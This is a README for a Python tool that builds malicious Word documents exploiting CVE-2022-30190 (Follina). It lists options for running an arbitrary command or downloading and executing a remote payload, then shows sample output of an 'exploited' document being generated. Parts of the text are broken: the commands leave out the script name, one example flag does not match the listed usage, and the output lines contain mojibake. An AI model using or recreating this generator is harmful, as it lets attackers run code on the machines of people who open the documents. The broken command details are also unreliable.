# CVE-2022-30190 - Microsoft Support Diagnostic Tool

## About

This script will attempt to create a Microsoft Office document which will remotely execute code.

## Setup

git clone
cd CVE-2022-30190
python3 --help

## Options
usage: [-h] [--html HTML] [--cmd CMD] [--downexec]
                         [--download_url DOWNLOAD_URL]

Generate CVE-2022-30190 Word documents.

optional arguments:
  -h, --help            show this help message and exit
  --html HTML           URL to online exploit HTML file
  --cmd CMD             Command you want to execute on run
  --downexec            Enable download and execute mode
  --download_url DOWNLOAD_URL
                        Source where to download and execute from

## Examples

$ python3 --doc="Original.docx" --html="http://localhost/Exploit.html" --cmd="start"
[@] Starting CVE-2022-30190 Generator...
[โ€ข] Created by
[โ€ข] Using Word document: Original.docx
[โ€ข] Deflating Word document...
[โ€ข] Deflated Word document.
[โˆš] Exploited Word document saved in "./builds/Exploit.docx" (1109 bytes).
[โˆš] Exploit HTML file saved in "./builds/Exploit.html" (4241 bytes).